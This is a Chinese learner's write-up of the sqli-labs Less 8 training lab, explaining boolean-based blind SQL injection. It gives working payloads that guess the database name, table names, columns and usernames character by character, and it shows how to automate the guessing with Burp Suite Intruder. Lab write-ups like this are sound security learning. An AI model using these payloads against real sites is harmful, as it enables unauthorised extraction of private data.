小白注入学习:sqli-labs--less8学习记录
Less8 布尔型盲注:
1.布尔盲注
网页代码仍然存在着SQL注入漏洞,但是当进行SQL注入时,页面不会回显任何数据,只会返回“right”或“wrong”即0和1。
需要通过构造SQL语句,来判断数据库信息的正确性,在通过页面的返回的“真”和“假”来识别判断是否正确,这就是布尔盲注。
Less8中 当SQL语句正确时,页面显示You are in......
当SQL语句错误时,页面啥也不显示
初步满足布尔型盲注的特点
2.确定注入类型、方法
?id=1' and 1=1 --+ 页面显示You are in...
?id=1' and 1=2 --+ 页面啥也不显示
确定这是一个布尔型的盲注,根据回显判断语句是否正确来注入。
3.通过left()函数构造payload
left(a,b)从a左侧截取前b位
再根据页面的显示判断当前SQL语句是否正确。
(1)猜解数据库名长度
?id=1' and length(database())=8 --+
页面显示You are in......
//ps小白注释:这句话=你在问数据库名的长度是8嘛,数据库回答You are in......说明数据库名长度是8。下面的与此类似
(2)猜解数据库名
?id=1' and left(database(),1)='s'--+
页面显示You are in......
//ps小白注释:=问数据库名的第一位是s嘛,数据库回答You are in......说明猜想正确
?id=1' and left(database(),2)='se'--+
页面显示You are in......
//ps小白注释:=问数据库名的前两位是se嘛,数据库回答You are in......说明猜想正确
根据此方法,一个字符字符的猜解出数据库名为security
(3)
猜解表名,字段,以及字段内容的操作都一样,结合limit()函数从第一条数据查找,根据页面回显判断是否正确。附上部分payload
猜解表名
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+
猜解字段
?id=1' and left((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1)='i'--+
猜解字段内容
?id=1' and left((select username from users limit 0,1),1)='d'--+
4.结合burpsuit进行猜解
布尔盲注猜解确实比较麻烦耗时间,这里介绍一种结合burpsuit进行猜解的方法。以数据库名为例。
布尔盲注猜解确实比较麻烦耗时间,这里介绍一种结合burpsuit进行猜解的方法。以数据库名为例。
(1)通过burpsuit抓包,抓取我们的猜解数据库名的请求
(2)把请求发送到Intruder下选中参数
清除掉所有标记后,在猜解的参数上加入新的标记
(3)修改payload设置为Brute forcer并选取猜解范围
(4)获取到参数值
根据Length排序后,会发现在参数为 s 下有You are in,故数据库第一位为s,以此类推猜解剩余内容
PS:小白总结
(1)布尔盲注就相当于A问B问题,B只能回答是、否,A通过B的回答来判断自己的猜想。
(2)手工盲注相对较为复杂繁琐,可以结合工具进行协助注入。如burpsuit,sqlmap、小脚本
(3)与 left() 相似的函数还有 substr() 这两个函数都可以结合 ascii() 函数配合注入能应对单引号 ' 被过滤的场景。
substr(a,b,c) 从 b 位置开始截取字符串 a 的 c 长度 ascii() 将字符串转换为asii码形式
小白注入学习记录!!